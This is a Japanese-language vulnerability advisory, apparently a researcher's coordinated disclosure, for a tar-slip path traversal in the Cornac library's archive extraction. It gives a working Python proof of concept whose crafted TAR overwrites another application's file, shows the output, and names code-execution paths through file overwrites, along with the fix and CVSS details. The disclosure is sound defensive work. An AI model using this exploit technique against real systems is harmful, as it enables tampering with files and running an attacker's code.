
深刻度: 高(High)、CVSS 4.0 8.8、致命的(Critical)、CVSS 3.1 9.1(CNA である VulnCheck による割り当て)
ベクター(v4.0): CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:H/SC:N/SI:N/SA:N
ベクター(v4.0): CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H
影響を受けるバージョン: cornac < 2.6.0
修正バージョン: 2.6.0
CWE: CWE-22(制限付きディレクトリへのパス名の不適切な制限、「パストラバーサル」)
報告者: Rahul Karne および Bharath Kumar Reddy Janumpally
CNA: VulnCheck
公開日: 2026年7月15日
Cornac のデータセットローダーはアーカイブを自動的にダウンロードして展開しますが、 展開処理はアーカイブ内のすべてのパスを信頼していました。
Cornac はレコメンダーシステム向けの機械学習フレームワークです。組み込みの
データセットローダーはネットワーク経由でアーカイブを取得し、確認ステップなしで
展開します。cornac/utils/download.py の展開ルーチン _extract_archive() は、
メンバーのパスを検証せずに archive.extractall() を呼び出します。../ シーケンス、
絶対パス、またはシンボリックリンクやハードリンクのエントリを含む TAR アーカイブは、
意図したキャッシュディレクトリの外にある、実行中プロセスが書き込み可能な任意の
ファイルシステム上の場所にファイルを書き込みます。複数のローダーが平文 HTTP で
取得するため、ネットワーク上の攻撃者は転送中のアーカイブを悪意のあるものに
すり替え、ローダーが呼び出された瞬間に展開させることができます。
攻撃者が完全に制御したパスと内容による任意のファイル書き込み。制約は Cornac を 実行しているプロセスの権限のみです。これは書き込みプリミティブであり、読み取り プリミティブではありません。そのため直接的な情報漏えいはありませんが、任意の ファイル書き込みはコード実行やサービス拒否への確立された経路です:
site-packages 内の .py ファイル、シェルのスタートアップ
ファイル、またはスケジュールタスクのエントリを上書きすると、次回の import、
シェル起動、ジョブ実行時に攻撃者のコードが実行されます。影響を受けるのは: cornac < 2.6.0 を使用し、攻撃者が制御または傍受できる
アーカイブをダウンロードして展開するデータセットローダーを呼び出すすべてのケース。
ローダーは自動的に展開するため、通常のローダー呼び出し以外のステップは不要です。
影響を受けないのは:
2.6.0 以降を使用しているケース。このバージョンでは展開時にすべてのメンバー
パスを検証します。| メトリック | 値 | ソース |
|---|---|---|
| 全期間のダウンロード数 | 4.1M | pepy.tech/projects/cornac |
| 直近30日間のダウンロード数 | 67.8K | pepy.tech |
| 一般的な用途 | レコメンダーシステムの研究と教育。データセットローダーがネットワーク経由で自動取得(一部は平文 HTTP) | フレームワークに内在 |
cornac/utils/download.py の _extract_archive() は、ZIP と TAR の両方の入力を
1つのコードパスで展開し、TAR の場合にはパスチェックなしで extractall() を
呼び出します:
# cornac/utils/download.py — _extract_archive(), lines 50-71 (v2.3.5)
def _extract_archive(file_path, extract_path="."):
"""Extracts an archive."""
for archive_type in ["zip", "tar"]:
if archive_type == "zip":
open_fn = zipfile.ZipFile
is_match_fn = zipfile.is_zipfile
elif archive_type == "tar":
open_fn = tarfile.open
is_match_fn = tarfile.is_tarfile
if is_match_fn(file_path):
with open_fn(file_path) as archive:
try:
archive.extractall(extract_path) # <-- no member-path validation
except (tarfile.TarError, RuntimeError, KeyboardInterrupt):
if os.path.exists(extract_path):
if os.path.isfile(extract_path):
os.remove(extract_path)
else:
shutil.rmtree(extract_path)
raise
メンバー名に制約はないため、../../somewhere/file というメンバーは
extract_path の外に解決され、そこに書き込まれます。
呼び出しチェーンはローダー呼び出しから完全に自動です:
cornac.datasets.<name>.load_feedback()
-> cornac.utils.download.cache() # downloads via urllib.request.urlretrieve
-> cornac.utils.download._extract_archive()
-> tarfile.extractall() # writes attacker-named paths
Python の zipfile は展開時に ../ シーケンスをサニタイズするため、この同じ
関数の ZIP ブランチは現代の Python では悪用できません。Python の tarfile は
メンバーパスをサニタイズしません(3.12 より前、およびそれ以降も明示的な
フィルタを使用した場合のみ)。Cornac は両方の形式を同一の extractall() 呼び出しに
通すため、ZIP ブランチは安全で、TAR ブランチは同じ行を通じて完全に悪用可能です。
この非対称性は、コードが2つの形式で一様に見えるために見落とされやすいのです。
Cornac は urllib.request.urlretrieve() でダウンロードし、証明書のピン留めも
アーカイブの整合性チェックもなく、複数の組み込みローダーが http:// URL を
使用します。ネットワーク上の攻撃者は平文 HTTP ダウンロードを傍受して悪意のある
TAR を返すことができ、上流サーバーを侵害する必要はありません。そのため、
このベクターはリモートであり、ローダー呼び出し以外のユーザー操作を必要としません。
攻撃者に必要なもの:
< 2.6.0 を使用するターゲット。ターゲット上の権限や、ローダー呼び出し以外のユーザー操作は不要です。
以下は、実際の未改変パッケージに対して、Cornac 自身の _extract_archive を直接
呼び出して実行したものです。
脆弱なバージョン(2.3.5)。 ../../ メンバーを含む TAR がキャッシュディレクトリに
展開され、そのメンバーはディレクトリの外に到達して、別のアプリケーションに属する
ファイルを上書きします:
import cornac.utils.download as d
import io, os, tarfile, tempfile
base = tempfile.mkdtemp()
cache = os.path.join(base, "cornac_scope", "cache"); os.makedirs(cache)
victim = os.path.join(base, "victim_scope", "webapp"); os.makedirs(victim)
open(os.path.join(victim, "app.py"), "w").write("def run():\n return 'healthy'\n")
mal = os.path.join(base, "malicious.tar.gz")
payload = b"raise ImportError('victim destroyed by tar slip')\n"
with tarfile.open(mal, "w:gz") as tf:
ti = tarfile.TarInfo("../../victim_scope/webapp/app.py"); ti.size = len(payload)
tf.addfile(ti, io.BytesIO(payload))
d._extract_archive(mal, cache) # Cornac's real function, cache dir as target
検証結果:
victim app.py BEFORE : def run(): return 'healthy'
victim app.py AFTER : raise ImportError('victim destroyed by tar slip')
benign file landed inside cache scope : True
victim file OVERWRITTEN outside cache : True
良性のメンバーは期待どおりキャッシュ内に書き込まれ、../../ メンバーは別の
アプリケーションのディレクトリに書き込まれ、そのアプリケーションを import すると
失敗するようになりました。
完全な攻撃デモ。 このリポジトリの poc_exploit.py は、
完全なチェーンをエンドツーエンドで実行します:攻撃者の HTTP サーバーが悪意のある
TAR を配信し、Cornac の cache() と _extract_archive() の呼び出しチェーンを
再現するローダーが単一の load_feedback() 呼び出しから自動的にダウンロードして
展開し、別のアプリケーションのディレクトリ内の2つのファイルが上書きされます。
脆弱な _extract_archive() は Cornac のソースからそのまま使用されています。
修正版(2.6.0)。 同じトラバーサルアーカイブは、何も書き込まれる前に拒否されます:
ValueError: Blocked path traversal attempt in archive: ../victim/app.py
victim app.py after: def run(): return 'healthy' (unchanged)
cornac 2.6.0 以降にアップグレードしてください:
pip install --upgrade "cornac>=2.6.0"
2.6.0 では、無防備な extractall() を _safe_extract() ヘルパーに置き換え、
os.path.realpath で各メンバーパスを解決し、展開ディレクトリ内に留まらない
ターゲットをすべて拒否します。また、通常のファイルとディレクトリのみを許可し、
シンボリックリンク、ハードリンク、デバイスエントリをブロックします。
すぐにアップグレードできない場合: 信頼できない、または平文 HTTP のチャネルで ダウンロードするデータセットローダーを呼び出さず、制御できないソースからの TAR アーカイブを展開しないでください。HTTPS での取得は転送中の傍受リスクを減らしますが、 悪意のある、または侵害された上流からのリスクは除去されません。
CNA である VulnCheck は、CVSS 4.0 で 8.8(高) を割り当てました
(CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:H/SC:N/SI:N/SA:N)。
AV:N: 悪意のあるアーカイブはネットワーク経由で配信され、複数のローダーが
整合性チェックなしで平文 HTTP により取得します。AC:L: トラバーサル TAR の作成は簡単で、攻撃はすべての呼び出しで決定的に
機能します。PR:N: 攻撃者はターゲット上のアカウントや足場を必要としません。UI:N: ローダーは自動的にダウンロードして展開します。単一のローダー呼び出しが
確認ステップなしでチェーン全体をトリガーします。VC:N: プリミティブは書き込み専用であるため、機密性への影響は該当なしと
されています。VI:H / VA:H: 攻撃者は書き込む内容を完全に制御し、プロセスが書き込める
ファイルを破壊できるため、影響を受けるシステムの整合性と可用性への影響は高い。SC:N / SI:N / SA:N: CNA は、影響を脆弱なシステムの権限範囲内に限定し、
別個の後続システムには及ばないと評価しました。CNA が割り当てた 8.8 が、この問題の公式な数値です。
| 日付 | イベント |
|---|---|
| 2026年5月3日 | 脆弱性を特定 |
| 2026年5月4日 | 報告(調整済み開示) |
| 2026年7月14日 | 修正をマージ(PR #709、コミット 8a50be7) |
| 2026年7月15日 | 修正版 2.6.0 をリリース |
| 2026年7月15日 | VulnCheck が CVE-2026-43637 を公開 |
Rahul Karne(セキュリティ研究者、IEEE シニアメンバー)と Bharath Kumar Reddy Janumpally によって発見・報告され、VulnCheck を通じて 調整されました。Rahul の関連する開示には、CVE-2026-65321(PyAthena の SQL インジェクション)と CVE-2026-63720(datamodel-code-generator のコード インジェクション)があります。
連絡先: [email protected] · GitHub: rahulreddykarne